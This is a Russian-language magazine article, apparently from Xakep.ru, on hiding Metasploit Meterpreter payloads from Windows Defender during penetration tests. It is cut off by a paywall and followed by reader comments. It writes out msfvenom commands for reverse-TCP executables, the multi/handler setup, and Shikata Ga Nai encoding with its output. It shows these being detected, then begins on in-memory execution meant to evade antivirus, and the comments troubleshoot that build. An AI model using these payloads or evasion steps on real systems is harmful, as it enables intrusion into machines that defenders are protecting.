Скры­тие полез­ной наг­рузки от анти­виру­са — это серь­езная проб­лема при пен­тестин­ге рабочих стан­ций. Даже род­ной Windows Defender отлично справ­ляет­ся с детек­тирова­нием Meterpreter, так что при­ходит­ся идти на допол­нитель­ные ухищ­рения. В этом матери­але я раз­беру эффектив­ность энко­дера Shikata Ga Nai, про­тес­тирую пей­лоад на ста­тичес­кий ана­лиз и поп­робую запус­тить Meterpreter нап­рямую из памяти.

Meterpreter — это рас­ширен­ная мно­гофун­кци­ональ­ная наг­рузка (payload), которая исполь­зует­ся в Metasploit Framework как уни­фици­рован­ная осно­ва для пос­тэкс­плу­ата­ции. По сути — про­качан­ная аль­тер­натива клас­сичес­ким шелл‑кодам. Это отличный инс­тру­мент в арсе­нале любого пен­тесте­ра, но он нас­толь­ко популя­рен, что его сиг­натуры есть в базах любого защит­ного ПО, будь то Windows 10, анти­вирус или даже Google Chrome.

 

Shikata Ga Nai

Од­на из основных тех­ник Metasploit — это схе­ма кодиро­вания полез­ной наг­рузки Shikata Ga Nai (наз­вание перево­дит­ся с япон­ско­го как «ничего не подела­ешь»). Работа­ет она за счет SGN, уни­каль­ного «полимор­фно­го адди­тив­ного энко­дера XOR». Бла­года­ря ему каж­дый раз, ког­да ты кодиру­ешь шелл‑код, это будет про­исхо­дить по‑дру­гому, от чего наг­рузка ста­новит­ся для анти­виру­са безопас­ной на вид.

В SGN реали­зова­ны: динами­чес­кая замена команд, динами­чес­кое упо­рядо­чение бло­ков, слу­чай­ный обмен регис­тра­ми, ран­домиза­ция поряд­ка команд, встав­ка ненуж­ного кода, исполь­зование слу­чай­ного клю­ча и ран­домиза­ция рас­сто­яния меж­ду коман­дами.

При всех плю­сах тех­ника кодиро­вания Shikata Ga Nai не всег­да быва­ет эффектив­ной на пос­ледних вер­сиях Windows.

www

Под­робнее о Shikata Ga Nai читай в пуб­ликации Ника Хоф­фма­на, Дже­реми Хам­бла и Тоби Тей­лора.

 

Определение проблемы

Да­вай про­верим Shikata Ga Nai на прак­тике и узна­ем, дей­стви­тель­но ли его популяр­ность при­вела к тому, что SGN отлавли­вают анти­виру­сы. В качес­тве жер­твы я буду исполь­зовать свой ноут­бук с пос­ледней вер­сией Windows 10 со все­ми уста­нов­ленны­ми обновле­ниями (Build 19042).

Ге­нери­ровать шелл‑код я буду с помощью MSFvenom. В качес­тве слу­шате­ля выс­тупит Kali Linux 2020.4 пос­ледней вер­сии с уста­нов­ленным Metasploit 6.0.18-dev.

Для начала сге­нери­руем стан­дар­тную наг­рузку без SGN:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -f exe > clean_shell.exe

...
Payload size: 354 bytes
Final size of exe file: 73802 bytes

На Kali под­нимем handler. На интерфей­се eth1 IP-адрес 10.10.0.180:

$ msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433

Про­буем для начала передать файл, ска­чав его с помощью Google Chrome. Для это­го под­нимаю HTTP-сер­вер с помощью модуля для вто­рой вер­сии Python:

$ python -m SimpleHTTPServer

Про­бую ска­чать наш шелл по адре­су http://10.10.0.180:8000/clean_shell.exe.

Очевидно, что файл заблокировал Google Chrome
Оче­вид­но, что файл заб­локиро­вал Google Chrome

Да­вай поп­робу­ем открыть файл. На этой машине с Windows 10 у меня уста­нов­лена под­систе­ма Linux (WSL). Ска­чаем этот файл в тер­минале с помощью wget и поп­робу­ем запус­тить.

При попытке открыть нас ждет предупреждение и файл удаляется
При попыт­ке открыть нас ждет пре­дуп­режде­ние и файл уда­ляет­ся

Файл Meterpreter был уда­лен даже без обра­щения к нему. Нуж­но лишь ска­чать и подож­дать око­ло минуты. Какая вни­матель­ная Windows! 🙂

Автоматическое удаление файла с Meterpreter
Ав­томати­чес­кое уда­ление фай­ла с Meterpreter

Тем вре­менем на машине с Kali тишина и слы­шен звук свер­чков. Поп­робу­ем теперь тех­нику кодиро­вания Shikata Ga Nai. Соз­даем новый пей­лоад в MSFvenom. На машине с Kali по‑преж­нему висит в ожи­дании handler.

До­бавим к опци­ям -e x86/shikata_ga_nai -b '\x00' -i 20, то есть исполь­зуем SGN в 20 ите­раций с уда­лени­ем пло­хого сим­вола \x00.

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -e x86/shikata_ga_nai -b \x00 -i 20 -f exe > sgn_20_shell.exe

...
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
...
x86/shikata_ga_nai succeeded with size 894 (iteration=19)
x86/shikata_ga_nai chosen with final size 894
Payload size: 894 bytes
Final size of exe file: 73802 bytes

Про­буем заг­рузить с помощью Google Chrome: http://10.10.0.180:8000/sgn_20_shell.exe.

SGN не помог обойти антивирус
SGN не помог обой­ти анти­вирус

Сно­ва неуда­ча. Пос­ле ска­чива­ния с помощью Wget и запус­ка нас ждет такая же исто­рия, как и в прош­лый раз, — с пос­леду­ющим уда­лени­ем вре­доно­са. Какой мож­но сде­лать вывод? Пра­виль­но, на новых вер­сиях Windows 10 Shikata Ga Nai бес­полезен.

info

C сен­тября 2020 года ком­пания Google вве­ла Advanced Protection Program для высоко­рис­ковых поль­зовате­лей, таких как полити­ки и жур­налис­ты. Заг­ружа­емые учас­тни­ками этой прог­раммы фай­лы могут сна­чала прой­ти про­вер­ку на сер­верах Google, а лишь потом попасть к поль­зовате­лю.

Так про­исхо­дит потому, что при запус­ке исполня­емо­го фай­ла и перед заг­рузкой его в память сис­тема пыта­ется най­ти сиг­натуры, при­над­лежащие вре­донос­ному ПО. В нашем слу­чае такие сиг­натуры были най­дены и обна­руже­ны. Поэто­му Windows 10 не раз­решила запуск. Даже SGN не помог. Сам по себе полимор­физм в нем неп­лох, но сле­пок ста­ба это­го энко­дера уже дав­но изу­чен.

 

Запуск Meterpreter из памяти

Оче­вид­ное решение — уход в сто­рону выпол­нения Meterpreter из памяти работа­юще­го про­цес­са. Воз­можно, нам удас­тся обой­ти не толь­ко ста­тичес­кий ана­лиз, но и динами­чес­кий ана­лиз защит­ника Windows Defender.

Для выпол­нения прог­раммы из памяти я буду исполь­зовать Python. Из­вестен спо­соб запус­ка обратно­го шел­ла Python с пос­леду­ющей ком­пиляци­ей скрип­та в еди­ный исполня­емый файл модулем py2exe. Безус­ловно, вари­ант рабочий, хотя, как отме­чает автор статьи по ссыл­ке, питонов­ский шелл в Windows не поз­воля­ет делать некото­рые вещи. Всег­да есть воз­можность про­апгрей­дить Meterpreter пря­мо в сес­сии (post-модуль shell_to_meterpreter). Одна­ко это не всег­да удоб­но, и этот спо­соб мож­но улуч­шить.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

4 комментария

  1. Аватар

    dima_gv

    26.12.2020 в 02:34

    класс! автор молодец. побольше бы таких статей.

  2. Аватар

    makarovda1984

    28.12.2020 в 17:52

    Столкнулся со следующими ошибками:
    The following modules appear to be missing
    [‘pupymemexec’]

    *** binary dependencies ***
    Your executable(s) also depend on these dlls which are not included,
    you may or may not need to distribute them.
    но exe собрался по итогу.

    При запуске получаю следующее
    c:\Python27\dist>shell.exe
    Traceback (most recent call last):
    File «shell.py», line 31, in
    File «memexec.pyc», line 127, in run
    Exception: Error in MapNewExecutableRegionInProcess: Errno 487

    Собираю в WIN10, Python2718 — с чем может быть связано?

    • Denis Simonov

      Denis Simonov

      29.12.2020 в 17:12

      Скорее всего проблема при переносе файлов на Windows машину.
      На linux (mac) машине, где собирали файлы для переноса:
      tar -zcvf archive.tar.gz shell
      где shell — папка с готовыми файлами.
      На Windows распаковка с помощью winrar.
      Только что проверил на win10 со включенным защитником, все работает (видео): https://yadi.sk/i/6kx9x58vjP26wQ

Оставить мнение